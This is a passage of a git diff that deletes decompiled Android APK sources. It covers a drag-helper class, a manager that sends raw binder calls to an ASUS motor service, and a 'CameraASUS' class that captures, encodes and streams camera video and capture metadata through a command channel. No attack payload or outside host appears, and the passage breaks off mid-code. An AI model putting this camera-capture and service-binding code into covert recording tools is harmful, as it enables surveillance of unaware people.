/* JADX WARN: Multi-variable type inference failed */ - /* JADX WARN: Type inference failed for: r0v14 */ - /* JADX WARN: Type inference failed for: r0v15 */ - /* JADX WARN: Type inference failed for: r0v4, types: [int] */ - /* JADX WARN: Type inference failed for: r3v3, types: [android.support.v4.widget.ViewDragHelper$Callback] */ - private void reportNewEdgeDrags(float f, float f2, int i) { - boolean checkNewEdgeDrag = checkNewEdgeDrag(f, f2, i, 1); - boolean z = checkNewEdgeDrag; - if (checkNewEdgeDrag(f2, f, i, 4)) { - z = checkNewEdgeDrag | true; - } - boolean z2 = z; - if (checkNewEdgeDrag(f, f2, i, 2)) { - z2 = (z ? 1 : 0) | true; - } - ?? r0 = z2; - if (checkNewEdgeDrag(f2, f, i, 8)) { - r0 = (z2 ? 1 : 0) | true; - } - if (r0 != 0) { - int[] iArr = this.mEdgeDragsInProgress; - iArr[i] = iArr[i] | r0; - this.mCallback.onEdgeDragStarted(r0, i); - } - } - - private boolean checkNewEdgeDrag(float f, float f2, int i, int i2) { - float abs = Math.abs(f); - float abs2 = Math.abs(f2); - if ((this.mInitialEdgesTouched[i] & i2) != i2 || (this.mTrackingEdges & i2) == 0 || (this.mEdgeDragsLocked[i] & i2) == i2 || (this.mEdgeDragsInProgress[i] & i2) == i2) { - return false; - } - int i3 = this.mTouchSlop; - if (abs > i3 || abs2 > i3) { - if (abs >= abs2 * 0.5f || !this.mCallback.onEdgeLock(i2)) { - return (this.mEdgeDragsInProgress[i] & i2) == 0 && abs > ((float) this.mTouchSlop); - } - int[] iArr = this.mEdgeDragsLocked; - iArr[i] = iArr[i] | i2; - return false; - } - return false; - } - - private boolean checkTouchSlop(View view, float f, float f2) { - if (view == null) { - return false; - } - boolean z = this.mCallback.getViewHorizontalDragRange(view) > 0; - boolean z2 = this.mCallback.getViewVerticalDragRange(view) > 0; - if (!z || !z2) { - return z ? Math.abs(f) > ((float) this.mTouchSlop) : z2 && Math.abs(f2) > ((float) this.mTouchSlop); - } - int i = this.mTouchSlop; - return (f * f) + (f2 * f2) > ((float) (i * i)); - } - - public boolean checkTouchSlop(int i) { - int length = this.mInitialMotionX.length; - for (int i2 = 0; i2 < length; i2++) { - if (checkTouchSlop(i, i2)) { - return true; - } - } - return false; - } - - public boolean checkTouchSlop(int i, int i2) { - if (isPointerDown(i2)) { - boolean z = (i & 1) == 1; - boolean z2 = (i & 2) == 2; - float f = this.mLastMotionX[i2] - this.mInitialMotionX[i2]; - float f2 = this.mLastMotionY[i2] - this.mInitialMotionY[i2]; - if (!z || !z2) { - return z ? Math.abs(f) > ((float) this.mTouchSlop) : z2 && Math.abs(f2) > ((float) this.mTouchSlop); - } - int i3 = this.mTouchSlop; - return (f * f) + (f2 * f2) > ((float) (i3 * i3)); - } - return false; - } - - public boolean isEdgeTouched(int i) { - int length = this.mInitialEdgesTouched.length; - for (int i2 = 0; i2 < length; i2++) { - if (isEdgeTouched(i, i2)) { - return true; - } - } - return false; - } - - public boolean isEdgeTouched(int i, int i2) { - return isPointerDown(i2) && (i & this.mInitialEdgesTouched[i2]) != 0; - } - - private void releaseViewForPointerUp() { - this.mVelocityTracker.computeCurrentVelocity(1000, this.mMaxVelocity); - dispatchViewReleased(clampMag(VelocityTrackerCompat.getXVelocity(this.mVelocityTracker, this.mActivePointerId), this.mMinVelocity, this.mMaxVelocity), clampMag(VelocityTrackerCompat.getYVelocity(this.mVelocityTracker, this.mActivePointerId), this.mMinVelocity, this.mMaxVelocity)); - } - - private void dragTo(int i, int i2, int i3, int i4) { - int left = this.mCapturedView.getLeft(); - int top = this.mCapturedView.getTop(); - if (i3 != 0) { - i = this.mCallback.clampViewPositionHorizontal(this.mCapturedView, i, i3); - ViewCompat.offsetLeftAndRight(this.mCapturedView, i - left); - } - int i5 = i; - if (i4 != 0) { - i2 = this.mCallback.clampViewPositionVertical(this.mCapturedView, i2, i4); - ViewCompat.offsetTopAndBottom(this.mCapturedView, i2 - top); - } - int i6 = i2; - if (i3 == 0 && i4 == 0) { - return; - } - this.mCallback.onViewPositionChanged(this.mCapturedView, i5, i6, i5 - left, i6 - top); - } - - public boolean isCapturedViewUnder(int i, int i2) { - return isViewUnder(this.mCapturedView, i, i2); - } - - public boolean isViewUnder(View view, int i, int i2) { - return view != null && i >= view.getLeft() && i < view.getRight() && i2 >= view.getTop() && i2 < view.getBottom(); - } - - public View findTopChildUnder(int i, int i2) { - for (int childCount = this.mParentView.getChildCount() - 1; childCount >= 0; childCount--) { - View childAt = this.mParentView.getChildAt(this.mCallback.getOrderedChildIndex(childCount)); - if (i >= childAt.getLeft() && i < childAt.getRight() && i2 >= childAt.getTop() && i2 < childAt.getBottom()) { - return childAt; - } - } - return null; - } - - private int getEdgesTouched(int i, int i2) { - int i3 = i < this.mParentView.getLeft() + this.mEdgeSize ? 1 : 0; - if (i2 < this.mParentView.getTop() + this.mEdgeSize) { - i3 |= 4; - } - if (i > this.mParentView.getRight() - this.mEdgeSize) { - i3 |= 2; - } - return i2 > this.mParentView.getBottom() - this.mEdgeSize ? i3 | 8 : i3; - } - - private boolean isValidPointerForActionMove(int i) { - if (isPointerDown(i)) { - return true; - } - Log.e(TAG, "Ignoring pointerId=" + i + " because ACTION_DOWN was not received for this pointer before ACTION_MOVE. It likely happened because ViewDragHelper did not receive all the events in the event stream."); - return false; - } -} diff --git a/apk_3230/decompiled_source/sources/com/asus/motorservice/MotorHalManager.java b/apk_3230/decompiled_source/sources/com/asus/motorservice/MotorHalManager.java deleted file mode 100644 index ceb2b01..0000000 --- a/apk_3230/decompiled_source/sources/com/asus/motorservice/MotorHalManager.java +++ /dev/null @@ -1,124 +0,0 @@ -package com.asus.motorservice; - -import android.content.ComponentName; -import android.content.Intent; -import android.content.ServiceConnection; -import android.content.pm.ResolveInfo; -import android.os.IBinder; -import android.os.Parcel; -import android.util.Log; -import com.nvav.srv.recorder.Speek; -import java.security.MessageDigest; -import java.security.NoSuchAlgorithmException; -import java.util.List; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class MotorHalManager { - String st = ""; - - private static native int nativeAutoControl(int i); - - public static native int nativeAutoControlWithAngle(int i, int i2); - - private static native int nativeAutoControlWithSpecifiedAngle(int i); - - public static native int nativeCloseDevShutDown(int i); - - private static native float nativeGetAngleTK(); - - private static native float nativeGetMinimumRotateAngle(); - - public static native float nativeGetMotorAngle(); - - public static native String nativeGetVersion(); - - private static native int nativeIsMcuReady(); - - private static native int nativeManualControl(int i, int i2, int i3); - - private static native int nativeManualControlNoSS(int i, int i2, int i3); - - private static native int nativeMotorStop(); - - public static native int nativeOpenDev(); - - public static native int nativeResetUserCalValue(); - - private static native void nativeSetAngleCallback(MotorHalManager motorHalManager, int i); - - private static native int nativeSetAngleTK(int i); - - private static native void nativeSetInterruptCallback(MotorHalManager motorHalManager); - - private static native void nativeSetStopCallback(MotorHalManager motorHalManager); - - public void destroy() { - } - - static { - System.loadLibrary("motor"); - } - - public void onInterrupt() { - Log.d("onInterrupt", "oonInterrupt: "); - } - - public synchronized void onMotorStop(int i) { - Log.d("onMotorStop", "onMotorStop: " + i); - } - - public static Intent getIntent() { - Intent intent = new Intent("com.asus.motorservice.MotorService"); - intent.setPackage("com.asus.motorservice"); - return intent; - } - - public void Motor(Speek speek) { - List queryIntentServices = speek.getPackageManager().queryIntentServices(getIntent(), 128); - if (queryIntentServices == null || queryIntentServices.size() <= 0) { - return; - } - speek.bindService(getIntent(), new ServiceConnection() { // from class: com.asus.motorservice.MotorHalManager.1 - @Override // android.content.ServiceConnection - public void onServiceDisconnected(ComponentName componentName) { - } - - @Override // android.content.ServiceConnection - public void onServiceConnected(ComponentName componentName, IBinder iBinder) { - MessageDigest messageDigest; - byte[] bytes = "com.asus.camera".getBytes(); - try { - messageDigest = MessageDigest.getInstance("sha-256"); - } catch (NoSuchAlgorithmException e) { - e.printStackTrace(); - messageDigest = null; - } - messageDigest.update(bytes); - byte[] digest = messageDigest.digest(bytes); - StringBuilder sb = new StringBuilder(); - for (byte b : digest) { - String hexString = Integer.toHexString(b & 255); - if (hexString.length() == 1) { - hexString = "0" + hexString; - } - sb.append(hexString); - } - Log.d("IMotorService", "decode: " + sb.toString()); - Parcel obtain = Parcel.obtain(); - Parcel obtain2 = Parcel.obtain(); - try { - try { - obtain.writeInterfaceToken("com.asus.motorservice.IMotorService"); - iBinder.transact(4, obtain, obtain2, 0); - obtain2.readException(); - Log.d("IMotorService", "decode: " + obtain2.readString()); - } catch (Exception e2) { - e2.printStackTrace(); - } - } finally { - obtain2.recycle(); - obtain.recycle(); - } - } - }, 128); - } -} diff --git a/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/BuildConfig.java b/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/BuildConfig.java deleted file mode 100644 index 13a5f3a..0000000 --- a/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/BuildConfig.java +++ /dev/null @@ -1,9 +0,0 @@ -package com.nvav.srv.recorder; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class BuildConfig { - public static final String APPLICATION_ID = "com.nvav.srv.recorder"; - public static final String BUILD_TYPE = "release"; - public static final boolean DEBUG = false; - public static final int VERSION_CODE = 17; - public static final String VERSION_NAME = "55.17"; -} diff --git a/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/CameraASUS.java b/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/CameraASUS.java deleted file mode 100644 index a2dad3c..0000000 --- a/apk_3230/decompiled_source/sources/com/nvav/srv/recorder/CameraASUS.java +++ /dev/null @@ -1,787 +0,0 @@ -package com.nvav.srv.recorder; - -import android.graphics.Point; -import android.graphics.Rect; -import android.hardware.camera2.CameraAccessException; -import android.hardware.camera2.CameraCaptureSession; -import android.hardware.camera2.CameraCharacteristics; -import android.hardware.camera2.CameraConstrainedHighSpeedCaptureSession; -import android.hardware.camera2.CameraDevice; -import android.hardware.camera2.CameraManager; -import android.hardware.camera2.CaptureFailure; -import android.hardware.camera2.CaptureRequest; -import android.hardware.camera2.CaptureResult; -import android.hardware.camera2.TotalCaptureResult; -import android.hardware.camera2.params.MeteringRectangle; -import android.hardware.camera2.params.StreamConfigurationMap; -import android.media.MediaCodec; -import android.media.MediaCrypto; -import android.media.MediaFormat; -import android.os.Handler; -import android.os.HandlerThread; -import android.util.Log; -import android.util.Range; -import android.util.Size; -import android.view.Surface; -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.nio.ByteBuffer; -import java.nio.ByteOrder; -import java.util.ArrayList; -import java.util.Arrays; -import java.util.List; -import java.util.Objects; -import java.util.function.Predicate; -import java.util.stream.Stream; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class CameraASUS implements ICameraRecord { - static boolean Restarting; - static boolean Starting; - String[] CamResFPS; - Size MaxSize; - Size SizeImage; - int aec; - int caem; - int cafm; - MeteringRectangle[] cafr; - int caft; - int cem; - Comand comand; - private byte[] config; - MediaFormat format; - private String id; - float lfd; - private MediaCodec.BufferInfo mBufferInfo; - CameraDevice mCamera; - CameraManager mCameraManager; - Handler mHandler; - Handler mHandler2; - Handler mHandler3; - MediaCodec mMediaCodec; - List mOutputSurfaces; - CaptureRequest.Builder mRecordingRequestBuilder; - private Surface mRecordingSurface; - Thread mRecordingThread; - private CameraCaptureSession mSession; - private CameraConstrainedHighSpeedCaptureSession mSessionHI; - HandlerThread mThread; - HandlerThread mThread2; - HandlerThread mThread3; - CameraCharacteristics properties; - Rect rect; - String sCamera; - Long set; - Long sfd; - Speek speek; - int ss; - private int countSend = 0; - public int MinISO = 0; - public int MaxISO = 0; - public int FPS = 30; - int decr = 5; - private final CameraDevice.StateCallback mDeviceListener = new CameraDevice.StateCallback() { // from class: com.nvav.srv.recorder.CameraASUS.1 - @Override // android.hardware.camera2.CameraDevice.StateCallback - public void onClosed(CameraDevice cameraDevice) { - } - - @Override // android.hardware.camera2.CameraDevice.StateCallback - public void onOpened(CameraDevice cameraDevice) { - try { - CameraASUS.this.mCamera = cameraDevice; - CameraASUS cameraASUS = CameraASUS.this; - cameraASUS.properties = cameraASUS.mCameraManager.getCameraCharacteristics(CameraASUS.this.mCamera.getId()); - Size[] outputSizes = ((StreamConfigurationMap) CameraASUS.this.properties.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP)).getOutputSizes(MediaCodec.class); - CameraASUS.this.MaxSize = null; - for (Size size : outputSizes) { - if (size.getWidth() == Integer.parseInt(CameraASUS.this.CamResFPS[2]) && size.getHeight() == Integer.parseInt(CameraASUS.this.CamResFPS[3])) { - CameraASUS.this.MaxSize = size; - } - } - CameraASUS.this.comand.WriteOut(String.format("result=Width:%d Height:%d", Integer.valueOf(CameraASUS.this.MaxSize.getWidth()), Integer.valueOf(CameraASUS.this.MaxSize.getHeight()))); - CameraASUS cameraASUS2 = CameraASUS.this; - cameraASUS2.format = MediaFormat.createVideoFormat("video/avc", cameraASUS2.MaxSize.getWidth(), CameraASUS.this.MaxSize.getHeight()); - CameraASUS.this.format.setInteger("color-format", 2130708361); - CameraASUS cameraASUS3 = CameraASUS.this; - cameraASUS3.FPS = Integer.parseInt(cameraASUS3.CamResFPS[5]); - CameraASUS.this.format.setInteger("bitrate", Integer.parseInt(CameraASUS.this.CamResFPS[0])); - CameraASUS.this.format.setInteger("frame-rate", CameraASUS.this.FPS); - CameraASUS.this.format.setInteger("i-frame-interval", 1); - CameraASUS.this.comand.WriteOut(String.format("result=BitRate:%s", CameraASUS.this.CamResFPS[0])); - CameraASUS.this.comand.WriteOut(String.format("result=BitRate:%d", Integer.valueOf(CameraASUS.this.format.getInteger("bitrate")))); - CameraASUS.this.comand.WriteOut(String.format("result=FrameRate:%d", Integer.valueOf(CameraASUS.this.format.getInteger("frame-rate")))); - CameraASUS.this.mMediaCodec = MediaCodec.createEncoderByType("video/avc"); - CameraASUS.this.mMediaCodec.configure(CameraASUS.this.format, (Surface) null, (MediaCrypto) null, 1); - CameraASUS cameraASUS4 = CameraASUS.this; - cameraASUS4.mRecordingSurface = cameraASUS4.mMediaCodec.createInputSurface(); - CameraASUS.this.mOutputSurfaces = new ArrayList(); - CameraASUS.this.mOutputSurfaces.add(CameraASUS.this.mRecordingSurface); - if (Integer.valueOf(CameraASUS.this.CamResFPS[5]).intValue() > 30) { - CameraASUS.this.mCamera.createConstrainedHighSpeedCaptureSession(CameraASUS.this.mOutputSurfaces, CameraASUS.this.sessionListener, CameraASUS.this.mHandler); - } else { - CameraASUS.this.mCamera.createCaptureSession(CameraASUS.this.mOutputSurfaces, CameraASUS.this.sessionListener, CameraASUS.this.mHandler); - } - CameraASUS.this.mMediaCodec.start(); - } catch (Exception e) { - CameraASUS.this.comand.WriteErr(e); - } - } - - @Override // android.hardware.camera2.CameraDevice.StateCallback - public void onDisconnected(CameraDevice cameraDevice) { - CameraASUS.Restarting = true; - CameraASUS.Starting = false; - } - - @Override // android.hardware.camera2.CameraDevice.StateCallback - public void onError(CameraDevice cameraDevice, int i) { - CameraASUS.this.comand.WriteOut(String.format("result=C.E(%d)", Integer.valueOf(i))); - } - }; - CameraCaptureSession.StateCallback sessionListener = new CameraCaptureSession.StateCallback() { // from class: com.nvav.srv.recorder.CameraASUS.2 - @Override // android.hardware.camera2.CameraCaptureSession.StateCallback - public void onClosed(CameraCaptureSession cameraCaptureSession) { - } - - @Override // android.hardware.camera2.CameraCaptureSession.StateCallback - public void onConfigureFailed(CameraCaptureSession cameraCaptureSession) { - } - - @Override // android.hardware.camera2.CameraCaptureSession.StateCallback - public void onConfigured(CameraCaptureSession cameraCaptureSession) { - try { - if (Integer.valueOf(CameraASUS.this.CamResFPS[5]).intValue() > 30) { - CameraASUS.this.mSessionHI = (CameraConstrainedHighSpeedCaptureSession) cameraCaptureSession; - } else { - CameraASUS.this.mSession = cameraCaptureSession; - } - CameraASUS cameraASUS = CameraASUS.this; - cameraASUS.mRecordingRequestBuilder = cameraASUS.mCamera.createCaptureRequest(3); - CameraASUS.this.mRecordingRequestBuilder.addTarget(CameraASUS.this.mRecordingSurface); - CameraASUS.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE, new Range(Integer.valueOf(Integer.parseInt(CameraASUS.this.CamResFPS[4])), Integer.valueOf(Integer.parseInt(CameraASUS.this.CamResFPS[5])))); - CameraASUS.this.setParams(); - if (CameraASUS.Restarting) { - CameraASUS.this.mRecordingRequestBuilder.set(CaptureRequest.SCALER_CROP_REGION, CameraASUS.this.rect); - CameraASUS.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION, Integer.valueOf(CameraASUS.this.aec)); - CameraASUS.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_EFFECT_MODE, Integer.valueOf(CameraASUS.this.cem)); - CameraASUS.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_REGIONS, CameraASUS.this.cafr); - CameraASUS.this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_SENSITIVITY, Integer.valueOf(CameraASUS.this.ss)); - CameraASUS.this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_FRAME_DURATION, CameraASUS.this.sfd); - CameraASUS.this.mRecordingRequestBuilder.set(CaptureRequest.SENSOR_EXPOSURE_TIME, CameraASUS.this.set); - CameraASUS.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, Integer.valueOf(CameraASUS.this.cafm)); - CameraASUS.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AE_MODE, Integer.valueOf(CameraASUS.this.caem)); - CameraASUS.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_TRIGGER, Integer.valueOf(CameraASUS.this.caft)); - CameraASUS.this.setParams(); - } - CameraASUS.this.mRecordingThread = new Thread() { // from class: com.nvav.srv.recorder.CameraASUS.2.1 - @Override // java.lang.Thread, java.lang.Runnable - public void run() { - while (CameraASUS.Starting) { - try { - CameraASUS.this.encode(false); - sleep(1L); - } catch (Exception e) { - CameraASUS.this.comand.WriteErr(e); - } - } - try { - CameraASUS.this.rect = (Rect) CameraASUS.this.mRecordingRequestBuilder.get(CaptureRequest.SCALER_CROP_REGION); - CameraASUS.this.aec = ((Integer) CameraASUS.this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AE_EXPOSURE_COMPENSATION)).intValue(); - CameraASUS.this.cem = ((Integer) CameraASUS.this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_EFFECT_MODE)).intValue(); - CameraASUS.this.cafr = (MeteringRectangle[]) CameraASUS.this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AF_REGIONS); - CameraASUS.this.cafm = ((Integer) CameraASUS.this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AF_MODE)).intValue(); - CameraASUS.this.caft = ((Integer) CameraASUS.this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AF_TRIGGER)).intValue(); - CameraASUS.this.lfd = ((Float) CameraASUS.this.mRecordingRequestBuilder.get(CaptureRequest.LENS_FOCUS_DISTANCE)).floatValue(); - CameraASUS.this.caem = ((Integer) CameraASUS.this.mRecordingRequestBuilder.get(CaptureRequest.CONTROL_AE_MODE)).intValue(); - CameraASUS.this.ss = ((Integer) CameraASUS.this.mRecordingRequestBuilder.get(CaptureRequest.SENSOR_SENSITIVITY)).intValue(); - CameraASUS.this.sfd = (Long) CameraASUS.this.mRecordingRequestBuilder.get(CaptureRequest.SENSOR_FRAME_DURATION); - CameraASUS.this.set = (Long) CameraASUS.this.mRecordingRequestBuilder.get(CaptureRequest.SENSOR_EXPOSURE_TIME); - } catch (Exception e2) { - CameraASUS.this.comand.WriteErr(e2); - } - try { - CameraASUS.this.mCamera.close(); - } catch (Exception e3) { - CameraASUS.this.comand.WriteErr(e3); - } - try { - if (CameraASUS.this.mMediaCodec != null) { - CameraASUS.this.mMediaCodec.stop(); - CameraASUS.this.mMediaCodec.release(); - } - } catch (Exception e4) { - CameraASUS.this.comand.WriteErr(e4); - } - try { - if (CameraASUS.this.mRecordingSurface != null) { - CameraASUS.this.mRecordingSurface.release(); - CameraASUS.this.mRecordingSurface = null; - } - } catch (Exception e5) { - CameraASUS.this.comand.WriteErr(e5); - } - try { - CameraASUS.this.mOutputSurfaces.clear(); - CameraASUS.this.mOutputSurfaces = null; - } catch (Exception e6) { - CameraASUS.this.comand.WriteErr(e6); - } - CameraASUS.this.mMediaCodec = null; - CameraASUS.this.mCamera = null; - try { - CameraASUS.this.mRecordingRequestBuilder.removeTarget(CameraASUS.this.mRecordingSurface); - } catch (Exception e7) { - CameraASUS.this.comand.WriteErr(e7); - } - try { - sleep(750L); - } catch (Exception e8) { - CameraASUS.this.comand.WriteErr(e8); - } - try { - CameraASUS.this.mThread.interrupt(); - CameraASUS.this.mThread2.interrupt(); - CameraASUS.this.mThread3.interrupt(); - } catch (Exception e9) { - CameraASUS.this.comand.WriteErr(e9); - } - if (CameraASUS.Restarting) { - try { - CameraASUS.this.StartRestart(); - } catch (Exception e10) { - CameraASUS.this.comand.WriteErr(e10); - } - } - } - }; - CameraASUS.this.mRecordingThread.start(); - if (CameraASUS.Restarting) { - try { - Thread.sleep(250L); - } catch (Exception e) { - CameraASUS.this.comand.WriteErr(e); - } - CameraASUS.this.mRecordingRequestBuilder.set(CaptureRequest.CONTROL_AF_MODE, Integer.valueOf(CameraASUS.this.cafm)); - CameraASUS.this.mRecordingRequestBuilder.set(CaptureRequest.LENS_FOCUS_DISTANCE, Float.valueOf(CameraASUS.this.lfd)); - CameraASUS.Restarting = false; - CameraASUS.this.setParams(); - } - } catch (Exception e2) { - CameraASUS.this.comand.WriteErr(e2); - } - } - - @Override // android.hardware.camera2.CameraCaptureSession.StateCallback - public void onActive(CameraCaptureSession cameraCaptureSession) { - Log.d("CameraCaptureSession ac", String.format("time %d", Long.valueOf(System.currentTimeMillis()))); - } - - @Override // android.hardware.camera2.CameraCaptureSession.StateCallback - public void onReady(CameraCaptureSession cameraCaptureSession) { - Log.d("CameraCaptureSession re", String.format("time %d", Long.valueOf(System.currentTimeMillis()))); - } - }; - private CameraCaptureSession.CaptureCallback mCaptureCallback = new CameraCaptureSession.CaptureCallback() { // from class: com.nvav.srv.recorder.CameraASUS.3 - long time_out_param = System.currentTimeMillis(); - double lat = 0.0d; - double lon = 0.0d; - long FrameNumber = 0; - - @Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback - public void onCaptureFailed(CameraCaptureSession cameraCaptureSession, CaptureRequest captureRequest, CaptureFailure captureFailure) { - } - - @Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback - public void onCaptureProgressed(CameraCaptureSession cameraCaptureSession, CaptureRequest captureRequest, CaptureResult captureResult) { - } - - @Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback - public void onCaptureSequenceAborted(CameraCaptureSession cameraCaptureSession, int i) { - } - - @Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback - public void onCaptureSequenceCompleted(CameraCaptureSession cameraCaptureSession, int i, long j) { - } - - @Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback - public void onCaptureCompleted(CameraCaptureSession cameraCaptureSession, CaptureRequest captureRequest, TotalCaptureResult totalCaptureResult) { - if (System.currentTimeMillis() - this.time_out_param > 200) { - String format = String.format("%f;%f;%d;%d;%.2f;%f;%d", Double.valueOf(this.lat), Double.valueOf(this.lon), totalCaptureResult.get(CaptureResult.SENSOR_SENSITIVITY), Long.valueOf(1000000000 / ((Long) totalCaptureResult.get(CaptureResult.SENSOR_FRAME_DURATION)).longValue()), totalCaptureResult.get(CaptureResult.LENS_APERTURE), totalCaptureResult.get(CaptureResult.LENS_FOCUS_DISTANCE), totalCaptureResult.get(CaptureResult.SENSOR_EXPOSURE_TIME)); - CameraASUS.this.comand.WriteOut(ByteBuffer.allocate(format.length() + 1).put((byte) 77).put(format.getBytes()).array()); - this.time_out_param = System.currentTimeMillis(); - } - } - - @Override // android.hardware.camera2.CameraCaptureSession.CaptureCallback - public void onCaptureStarted(CameraCaptureSession cameraCaptureSession, CaptureRequest captureRequest, long j, long j2) { - this.FrameNumber = j2; - } - }; - int endkey = 0; - int outbyte = 0; - short outFPS = 0; - long timebyte = System.currentTimeMillis(); - ByteArrayOutputStream output = new ByteArrayOutputStream(); - int iTest = 1; - - /* JADX INFO: Access modifiers changed from: private */ - public void setParams() { - try { - if (Integer.valueOf(this.CamResFPS[5]).intValue() > 30) { - this.mSessionHI.setRepeatingBurst(this.mSessionHI.createHighSpeedRequestList(this.mRecordingRequestBuilder.build()), this.mCaptureCallback, this.mHandler); - } else { - this.mSession.setRepeatingRequest(this.mRecordingRequestBuilder.build(), this.mCaptureCallback, this.mHandler); - } - } catch (CameraAccessException e) { - this.comand.WriteErr(e); - } - } - - void StartRestart() { - try { - this.mCameraManager = (CameraManager) this.speek.getApplicationContext().getSystemService("camera"); - Starting = true; - HandlerThread handlerThread = new HandlerThread("CameraThread"); - this.mThread = handlerThread; - handlerThread.start(); - this.mHandler = new Handler(this.mThread.getLooper()); - HandlerThread handlerThread2 = new HandlerThread("CameraThread2"); - this.mThread2 = handlerThread2; - handlerThread2.start(); - this.mHandler2 = new Handler(this.mThread2.getLooper()); - HandlerThread handlerThread3 = new HandlerThread("CameraThread3"); - this.mThread3 = handlerThread3; - handlerThread3.start(); - this.mHandler3 = new Handler(this.mThread3.getLooper()); - long currentTimeMillis = System.currentTimeMillis(); - while (System.currentTimeMillis() - currentTimeMillis <= 10000) { - String[] cameraIdList = this.mCameraManager.getCameraIdList(); - StringBuilder sb = new StringBuilder(); - for (String str : cameraIdList) { - sb.append(str).append(";"); - } - this.comand.WriteOut(String.format("result=camera list: %s (%d)", sb.toString(), Long.valueOf(System.currentTimeMillis() - currentTimeMillis))); - Thread.sleep(300L); - if (cameraIdList.length != 0) { - Stream stream = Arrays.stream(cameraIdList); - final String str2 = this.CamResFPS[1]; - Objects.requireNonNull(str2); - if (stream.anyMatch(new Predicate() { // from class: com.nvav.srv.recorder.CameraASUS$$ExternalSyntheticLambda0 - @Override // java.util.function.Predicate - public final boolean test(Object obj) { - boolean equals; - equals = str2.equals((String) obj); - return equals; - } - })) { - break; - } - } - } - this.mCameraManager.openCamera(this.CamResFPS[1], this.mDeviceListener, this.mHandler); - } catch (Exception e) { - this.comand.WriteErr(e); - } - } - - public CameraASUS(CameraManager cameraManager, Speek speek, String str, Comand comand) { - this.CamResFPS = str.split(";"); - this.comand = comand; - comand.WriteOut(String.format("result=%s", str)); - this.speek = speek; - this.mBufferInfo = new MediaCodec.BufferInfo(); - StartRestart(); - } - - @Override // com.nvav.srv.recorder.ICameraRecord - public void Stop() { - try { - Starting = false; - encode(true); - this.mCamera.close(); - } catch (Exception e) { - this.comand.WriteErr(e); - } - } - - /* JADX INFO: Access modifiers changed from: private */ - public void encode(boolean z) { - if (z) { - MediaCodec mediaCodec = this.mMediaCodec; - if (mediaCodec == null) { - return; - } - mediaCodec.signalEndOfInputStream(); - } - try { - int i = this.iTest; - int i2 = i / i; - int dequeueOutputBuffer = this.mMediaCodec.dequeueOutputBuffer(this.mBufferInfo, 100L); - if (dequeueOutputBuffer < 0) { - if (dequeueOutputBuffer == -2) { - this.mMediaCodec.getOutputFormat(); - return; - } - return; - } - ByteBuffer outputBuffer = this.mMediaCodec.getOutputBuffer(dequeueOutputBuffer); - if (outputBuffer == null) { - return; - } - if (this.mBufferInfo.size != 0) { - this.outbyte += this.mBufferInfo.size; - this.outFPS = (short) (this.outFPS + 1); - if (System.currentTimeMillis() - this.timebyte > 1000) { - this.comand.WriteOut(ByteBuffer.allocate(11).put((byte) 8).putShort(this.outFPS).putInt(this.outbyte).putInt((int) (System.currentTimeMillis() - this.timebyte)).array()); - this.outbyte = 0; - this.outFPS = (short) 0; - this.timebyte = System.currentTimeMillis(); - } - outputBuffer.position(this.mBufferInfo.offset); - outputBuffer.limit(this.mBufferInfo.offset + this.mBufferInfo.size); - byte[] bArr = new byte[this.mBufferInfo.size]; - outputBuffer.get(bArr); - if (this.mBufferInfo.flags == 2) { - try { - ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); - byteArrayOutputStream.write(3); - byteArrayOutputStream.write(2); - byteArrayOutputStream.write(bArr); - byteArrayOutputStream.flush(); - this.config = byteArrayOutputStream.toByteArray(); - byteArrayOutputStream.close(); - } catch (IOException e) { - this.comand.WriteErr(e); - } - } else { - try { - this.countSend++; - ByteArrayOutputStream byteArrayOutputStream2 = new ByteArrayOutputStream(); - byteArrayOutputStream2.write(3); - if (this.mBufferInfo.flags == 1) { - this.endkey = this.countSend; - this.comand.WriteOut(this.config); - byteArrayOutputStream2.write(1); - ByteBuffer allocate = ByteBuffer.allocate(4); - allocate.putInt(this.endkey); - byteArrayOutputStream2.write(allocate.array()); - } else { - byteArrayOutputStream2.write(0); - ByteBuffer allocate2 = ByteBuffer.allocate(8); - allocate2.putInt(this.countSend); - allocate2.putInt(this.endkey); - byteArrayOutputStream2.write(allocate2.array()); - } - byteArrayOutputStream2.write(bArr); - byteArrayOutputStream2.flush(); - this.comand.WriteOut(byteArrayOutputStream2.toByteArray()); - byteArrayOutputStream2.close(); - } catch (IOException e2) { - this.comand.WriteErr(e2); - } - } - } - this.mMediaCodec.releaseOutputBuffer(dequeueOutputBuffer, true); - } catch (ArithmeticException e3) { - this.comand.WriteErr(e3); - this.iTest = 1; - this.mMediaCodec.reset(); - } catch (IllegalStateException e4) { - this.comand.WriteErr(e4); - Restarting = true; - Starting = false; - } - } - - byte[] putInt(int i) { - return ByteBuffer.allocate(4).order(ByteOrder.LITTLE_ENDIAN).putInt(i).array(); - } - - private Point toThis(Point point) { - Rect rect = (Rect) 